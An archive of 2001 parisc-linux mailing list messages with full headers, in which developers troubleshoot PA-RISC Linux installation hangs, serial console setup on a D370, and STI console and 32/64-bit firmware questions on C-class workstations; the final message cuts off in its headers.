Message-ID: <200112121758.KAA11468@puffin.external.hp.com>
References: <jheumann@fonts.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620835 31184 80.91.229.3 (22 Nov 2014 01:47:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:15 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jheumann@fonts.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 11:03:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BE38482C
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 11:03:12 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA11468;
	Wed, 12 Dec 2001 10:58:19 -0700
In-Reply-To: Message from "Jan Heumann" <jheumann@fonts.de> 
   of "Wed, 12 Dec 2001 13:19:19 GMT." <200112121319.AA3146187070@mail.fonts.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13312

"Jan Heumann" wrote:
> I have test the PA-RISC Linux 0.9.3-RC6.
...
> in the packages are a bug. by selecting with tasksel can the installation 
> frozen. i have use unix-server, web-server and c-developer and it is not 
> frozen. i have selected all packages and the installation is frozen.

Not sure this is the same bug: zsh pre-removal script hangs.

Workaround was to kill -9 that process. apt-get will
try the *new* pre-remove script and that didn't "hang".
"New" == zsh_4.0.4-7_hppa.deb
Don't know offhand what "old" was but I think it was
it's immediate predecessor.

grant



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install on a D370!
Date: Wed, 12 Dec 2001 11:10:35 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <200112121810.LAA11550@puffin.external.hp.com>
References: <herbr@magma.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620835 31185 80.91.229.3 (22 Nov 2014 01:47:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 11:15:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C59F482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 11:15:35 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA11550;
	Wed, 12 Dec 2001 11:10:35 -0700
In-Reply-To: Message from Herb Radford <herbr@magma.ca> 
   of "Wed, 12 Dec 2001 12:01:45 EST." <5.1.0.14.0.20011212111857.0263d110@mail.magma.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13313

Herb Radford wrote:
> Now I'm trying a D370. No go.
...
> There is a FWSCSI card in the box with 6 drives attached and another card, 
> a "Remote Management/Access Port" card in HSC 0 Slot 0.
...

Have you read the following?
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-August/013326.html

(hint: search parisc-linux mail archive for "d-class")

grant



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install on a D370!
Date: Wed, 12 Dec 2001 18:30:14 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20011212183014.A22198@parcelfarce.linux.theplanet.co.uk>
References: <5.1.0.14.0.20011212111857.0263d110@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620836 31187 80.91.229.3 (22 Nov 2014 01:47:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 11:30:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 267AF611E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 11:30:17 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16EE90-0006YQ-00; Wed, 12 Dec 2001 18:30:14 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <5.1.0.14.0.20011212111857.0263d110@mail.magma.ca>; from herbr@magma.ca on Wed, Dec 12, 2001 at 12:01:45PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13314

On Wed, Dec 12, 2001 at 12:01:45PM -0500, Herb Radford wrote:
> There is a FWSCSI card in the box with 6 drives attached and another card, 
> a "Remote Management/Access Port" card in HSC 0 Slot 0.
> I've seen a couple of messages about D350's which say all this stuff worked!
> 
> Does anyone have any suggestions?

Yep, I think I know the problem.  Let's see if anyone agrees.

> I/O MODULE INFORMATION
>                                                                     IODC   IODC
> Path (dec)   Type                Bus Slot Mod HVERSION  SVERSION   Vers   Dep
> ----         ----                --- ---- --- -------- ---------- ------ ------
> 8            I/O Adapter           0   2   0   0x580f  0x10000b50  0x00   0x00
> 8/0          Bus Converter         1   0   0   0x5000  0x00000c00  0x00   0x00
> 8/0/0        A Direct I/O          5   0   0   0x0100  0x00000d00  0x04   0x00
> 8/4          A DMA I/O             1   1   0   0x0131  0x00008980  0x98   0x00
> 8/16         Bus Adapter           1   4   0   0x02f0  0x00008100  0x00   0x00
> 8/16/5       Built-in SE SCSI     16   1   1   0x02f0  0x00008280  0x01   0x00
> 8/16/6       Built-in LAN         16   1   2   0x02f0  0x00008a00  0x02   0x00
> 8/16/0       Built-in Parallel    16   0   0   0x02f0  0x00007400  0x00   0x00
> 8/16/7       Built-in Keyboard    16   1   3   0x02f0  0x00008400  0x00   0x00
> 8/16/8       Built-in Mouse       16   2   0   0x02f0  0x00008400  0x00   0x00
> 8/20         Bus Adapter           1   5   0   0x0310  0x00008e00  0x00   0x00
> 8/20/5       Bus Adapter          20   1   1   0x0310  0x00009000  0x00   0x00
> 8/20/2       RS232 Port           20   0   2   0x0310  0x00008c00  0x00   0x00
> 10           I/O Adapter           0   2   2   0x580f  0x10000b50  0x00   0x00

The device at 8/16 is a Lasi.  However, it doesn't report a serial port
below it.  I wonder if plugging the management card in disables the first
onboard serial port?  Anyway, there is an RS232 device we know how to
drive at 8/20/2.  This is a Wax chip and it has a standard UART in it.

So if you plug your console into the _second_ serial port, yet boot
it with console=ttyS0, you should see boot messages.  If you have two
null-modem cables, you might want to try having both plugged in at the
same time to be sure you don't miss anything.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Firmware upgraded, STI console problem
Date: 12 Dec 2001 14:34:35 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <1008185675.31094.49.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-VIDXBrtx3YhMpP9/fY4b"
X-Trace: ger.gmane.org 1416620836 31191 80.91.229.3 (22 Nov 2014 01:47:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:16 +0000 (UTC)
To: palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 12:34:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148])
	by dsl2.external.hp.com (Postfix) with ESMTP id 048E2482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 12:34:40 -0700 (MST)
Original-Received: from archimedes.localnetsolutions.com ([199.174.105.194])
	by granger.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 16EF9L-0002CD-00
	for parisc-linux@lists.parisc-linux.org; Wed, 12 Dec 2001 14:34:39 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id fBCJYZx14182;
	Wed, 12 Dec 2001 14:34:35 -0500
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13315

--=-VIDXBrtx3YhMpP9/fY4b
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

My C160 is running the old, broken, no-working-pci, firmware version
2.1. The ftp://us-ffs.external.hp.com/firmware_patches/hp/cpu/ lists the
latest version (PF_CC2X0061) as 6.1.=20

So I upgraded my firmware. Still no sti console nor X on frame buffer. I
can see in /proc that the frame buffers are running (stifb). When X
starts, it fails on a framebuffer call.=20

When IPL

dmesg mentions: Dino: No PCI devices enabled.

Also, my processor is listed in firmware and docs as a PA8000. So why
not 64-bit cpu. If I boot the 2.4.16-64 kernel, it hangs after the
"branching" messege screen.=20
--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-VIDXBrtx3YhMpP9/fY4b
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8F7FLYZCtw4KcbKcRAqZdAKCf33tKHJawoMPWDFk1mOTj8pPTtQCgre1f
gsOqSjxf/HJhmMs57+rCJWk=
=1EHK
-----END PGP SIGNATURE-----

--=-VIDXBrtx3YhMpP9/fY4b--



From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firmware upgraded, STI console problem
Date: Wed, 12 Dec 2001 19:57:27 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20011212195727.B22198@parcelfarce.linux.theplanet.co.uk>
References: <1008185675.31094.49.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620836 31194 80.91.229.3 (22 Nov 2014 01:47:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:16 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: "James P. Kinney III" <jkinney@localnetsolutions.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 12:57:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7643482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 12:57:29 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16EFVP-0000Qo-00; Wed, 12 Dec 2001 19:57:27 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1008185675.31094.49.camel@archimedes.localnetsolutions.com>; from jkinney@localnetsolutions.com on Wed, Dec 12, 2001 at 02:34:35PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13316

On Wed, Dec 12, 2001 at 02:34:35PM -0500, James P. Kinney III wrote:
> Also, my processor is listed in firmware and docs as a PA8000. So why
> not 64-bit cpu. If I boot the 2.4.16-64 kernel, it hangs after the
> "branching" messege screen. 

this must surely be a faq by now.  the c160-era workstations shipped
with 32-bit firmware, so it's much more sensible to run a 32-bit kernel
on them.  why do people think a 64-bit kernel is better?  it's slower and
takes more ram than a 32-bit kernel.  the only benefit it might offer
(being able to deal with >4gb of ram, or >4gb virtual address space)
aren't applicable -- you can't put that much ram in a c160, and we don't
support 64-bit user processes yet.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firmware upgraded, STI console problem
Date: Wed, 12 Dec 2001 13:39:17 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <200112122039.NAA11818@puffin.external.hp.com>
References: <jkinney@localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620837 31197 80.91.229.3 (22 Nov 2014 01:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:17 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: "James P. Kinney III" <jkinney@localnetsolutions.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 13:44:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFDED482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 13:44:22 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA11818;
	Wed, 12 Dec 2001 13:39:17 -0700
In-Reply-To: Message from "James P. Kinney III" <jkinney@localnetsolutions.com> 
   of "12 Dec 2001 14:34:35 EST." <1008185675.31094.49.camel@archimedes.localnetsolutions.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13317

"James P. Kinney III" wrote:
> Also, my processor is listed in firmware and docs as a PA8000. So why
> not 64-bit cpu. If I boot the 2.4.16-64 kernel, it hangs after the
> "branching" messege screen.=20

You need to build your own 64-bit kernel with "NARROW_PDC" support enabled.
But I totally agree with Matthew on this...don't bother.

grant



From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firmware upgraded, STI console problem
Date: Wed, 12 Dec 2001 11:50:02 -0900 (AKST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112121147380.4162-100000@goliath.alaskatech.org>
References: <200112122039.NAA11818@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620837 31202 80.91.229.3 (22 Nov 2014 01:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:17 +0000 (UTC)
Cc: "James P. Kinney III" <jkinney@localnetsolutions.com>,
	palinux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 13:53:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC9C2482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 13:53:27 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GO90NH03.GTU for
          <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 11:52:29 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GO90NH01.O3B; Wed, 12 Dec 2001 11:52:29 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA04432;
	Wed, 12 Dec 2001 11:50:02 -0900
In-Reply-To: <200112122039.NAA11818@puffin.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13318

> "James P. Kinney III" wrote:
> > Also, my processor is listed in firmware and docs as a PA8000. So why
> > not 64-bit cpu. If I boot the 2.4.16-64 kernel, it hangs after the
> > "branching" messege screen.=20
>
> You need to build your own 64-bit kernel with "NARROW_PDC" support enabled.
> But I totally agree with Matthew on this...don't bother.
> -
> grant

Okay - is there some short of note on which systems are 32-bit and which
are 64-bit? Something like, "PA7000-series are 32-bit, PA-8000 (up to the
8x00) is 64-bit with 32-bit PDC and PA-8000 (after 8x00) is fully 64-bit".
I just picked up a C180 and have a line on a C240 and was beginning to
wonder the same things...




From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firmware upgraded, STI console problem
Date: Wed, 12 Dec 2001 21:02:42 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20011212210242.E22198@parcelfarce.linux.theplanet.co.uk>
References: <200112122039.NAA11818@puffin.external.hp.com> <Pine.LNX.4.33.0112121147380.4162-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620837 31203 80.91.229.3 (22 Nov 2014 01:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:17 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	"James P. Kinney III" <jkinney@localnetsolutions.com>,
	palinux <parisc-linux@lists.parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 14:03:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43D69482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 14:03:00 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16EGWY-0001Fl-00; Wed, 12 Dec 2001 21:02:42 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0112121147380.4162-100000@goliath.alaskatech.org>; from palinux@alaskatech.org on Wed, Dec 12, 2001 at 11:50:02AM -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13319

On Wed, Dec 12, 2001 at 11:50:02AM -0900, Tom wrote:
> Okay - is there some short of note on which systems are 32-bit and which
> are 64-bit? Something like, "PA7000-series are 32-bit, PA-8000 (up to the
> 8x00) is 64-bit with 32-bit PDC and PA-8000 (after 8x00) is fully 64-bit".
> I just picked up a C180 and have a line on a C240 and was beginning to
> wonder the same things...

workstations: everything up to C360/J2240 has 32-bit firmware; B1000
and up have dual-32/64 bit firmware.
servers: N, L & A500 have 64-bit only firmware; A180 is 32-bit only.
don't know about other models.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hamish Moffatt <hamish@cloud.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install on a D370!
Date: Thu, 13 Dec 2001 08:35:11 +1100
Lines: 27
Approved: news@gmane.org
Message-ID: <20011213083511.B17000@silly.cloud.net.au>
References: <5.1.0.14.0.20011212111857.0263d110@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620837 31205 80.91.229.3 (22 Nov 2014 01:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 14:35:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from silly.cloud.net.au (c20042.eburwd1.vic.optusnet.com.au [203.164.66.244])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DFC6482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 14:35:14 -0700 (MST)
Original-Received: from hamish by silly.cloud.net.au with local (Exim 3.12 #1 (Debian))
	id 16EH1z-0004Qr-00; Thu, 13 Dec 2001 08:35:11 +1100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <5.1.0.14.0.20011212111857.0263d110@mail.magma.ca>; from herbr@magma.ca on Wed, Dec 12, 2001 at 12:01:45PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
